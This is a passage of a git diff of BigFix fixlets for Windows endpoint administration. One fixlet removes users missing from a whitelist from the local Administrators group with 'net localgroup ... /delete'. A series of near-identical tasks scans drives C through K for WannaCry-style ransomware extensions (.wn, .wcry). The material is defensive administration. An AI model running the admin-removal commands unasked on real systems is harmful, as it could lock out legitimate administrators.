+	endif
+
+
+else
+
+	// Create the ComplianceWhitelist folder in the client directory and copy the ComplianceWhitelist file from the backup file created by the "Deploy ComplianceWhitelist" task
+	dos mkdir "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist"}"
+
+	dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
+
+	// Delete any old version of the blacklist file
+	delete "{parameter "blacklist"}"
+
+	// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+	createfile until EOF
+	{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+	EOF
+
+	move __createfile "{(parameter "blacklist")}"
+
+	// Wait until the blacklist.txt is created
+	pause while {not exists file (parameter "blacklist")}
+
+	// Remove unauthorized users from Admin group
+	dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+endif]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action26828">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Remove</Link>
+        <PostLink>&amp;nbsp;the specified User</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Prompt the user for an ID to delete from the Administrators group of every targetted computer
+action parameter query &quot;UserID&quot; with description &quot;Enter the User ID to remove from the local Administrators group of targetted endpoints:&quot;
+
+
+// Remove each user in the &apos;blacklist.txt&apos; file from the Local Admin Group
+dos net localgroup administrators &quot;{parameter &quot;UserID&quot; of action}&quot; /delete</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes
index e7591cd72..c3bf7ddc5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on C Drive
-  ID       : 24331
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on C Drive</Title>
-    <Description>Find files with specified extension on C drive. </Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;c:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:38:53 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist c:\ransomware_list.txt del c:\ransomware_list.txt /q /f
-waithidden cmd /c dir c:\*.wn c:\*.wcry /a /s >c:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on C Drive
+  ID       : 24331
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on C Drive</Title>
+    <Description>Find files with specified extension on C drive. </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;c:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:38:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist c:\ransomware_list.txt del c:\ransomware_list.txt /q /f
+waithidden cmd /c dir c:\*.wn c:\*.wcry /a /s >c:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes
index 3235efb4a..2422b14a4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on D Drive
-  ID       : 24332
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on D Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;D drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;d:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:39:06 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist d:\ransomware_list.txt del d:\ransomware_list.txt /q /f
-waithidden cmd /c dir d:\*.wn d:\*.wcry /a /s >d:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on D Drive
+  ID       : 24332
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on D Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;D drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;d:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:39:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist d:\ransomware_list.txt del d:\ransomware_list.txt /q /f
+waithidden cmd /c dir d:\*.wn d:\*.wcry /a /s >d:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes
index f6f145d21..cc59f026f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on E Drive
-  ID       : 24333
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on E Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;E drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;e:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:39:33 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist e:\ransomware_list.txt del e:\ransomware_list.txt /q /f
-waithidden cmd /c dir e:\*.wn e:\*.wcry /a /s >e:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on E Drive
+  ID       : 24333
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on E Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;E drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;e:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:39:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist e:\ransomware_list.txt del e:\ransomware_list.txt /q /f
+waithidden cmd /c dir e:\*.wn e:\*.wcry /a /s >e:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes
index f8efb23b6..b299dc0fd 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on F Drive
-  ID       : 24334
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on F Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;F drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;f:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:38:40 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist f:\ransomware_list.txt del f:\ransomware_list.txt /q /f
-waithidden cmd /c dir f:\*.wn f:\*.wcry /a /s >f:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on F Drive
+  ID       : 24334
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on F Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;F drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;f:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:38:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist f:\ransomware_list.txt del f:\ransomware_list.txt /q /f
+waithidden cmd /c dir f:\*.wn f:\*.wcry /a /s >f:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes
index 6dbaca1b3..0ebc7e959 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on G Drive
-  ID       : 24336
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on G Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;G drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;g:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:40:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist g:\ransomware_list.txt del g:\ransomware_list.txt /q /f
-waithidden cmd /c dir g:\*.wn g:\*.wcry /a /s >g:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on G Drive
+  ID       : 24336
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on G Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;G drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;g:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:40:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist g:\ransomware_list.txt del g:\ransomware_list.txt /q /f
+waithidden cmd /c dir g:\*.wn g:\*.wcry /a /s >g:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes
index 1a2c26a26..88002e784 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on H Drive
-  ID       : 24337
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on H Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;H drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;h:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:40:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist h:\ransomware_list.txt del h:\ransomware_list.txt /q /f
-waithidden cmd /c dir h:\*.wn h:\*.wcry /a /s >h:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on H Drive
+  ID       : 24337
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on H Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;H drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;h:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:40:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist h:\ransomware_list.txt del h:\ransomware_list.txt /q /f
+waithidden cmd /c dir h:\*.wn h:\*.wcry /a /s >h:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes
index 4dd95a7ad..10a0577f7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on I Drive
-  ID       : 24338
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on I Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;I drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;i:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:40:52 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist i:\ransomware_list.txt del i:\ransomware_list.txt /q /f
-waithidden cmd /c dir i:\*.wn i:\*.wcry /a /s >i:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on I Drive
+  ID       : 24338
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on I Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;I drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;i:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:40:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist i:\ransomware_list.txt del i:\ransomware_list.txt /q /f
+waithidden cmd /c dir i:\*.wn i:\*.wcry /a /s >i:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes
index 49f4e5715..c6cff6b14 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on J Drive
-  ID       : 24339
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on J Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;J drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;j:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:41:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist j:\ransomware_list.txt del j:\ransomware_list.txt /q /f
-waithidden cmd /c dir j:\*.wn j:\*.wcry /a /s >j:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on J Drive
+  ID       : 24339
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on J Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;J drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;j:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:41:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist j:\ransomware_list.txt del j:\ransomware_list.txt /q /f
+waithidden cmd /c dir j:\*.wn j:\*.wcry /a /s >j:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes
index 552d44fc5..d0e063b86 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on K Drive
-  ID       : 24340
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:51
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on K Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;K drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;k:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:41:39 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist k:\ransomware_list.txt del k:\ransomware_list.txt /q /f
-waithidden cmd /c dir k:\*.wn k:\*.wcry /a /s >k:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
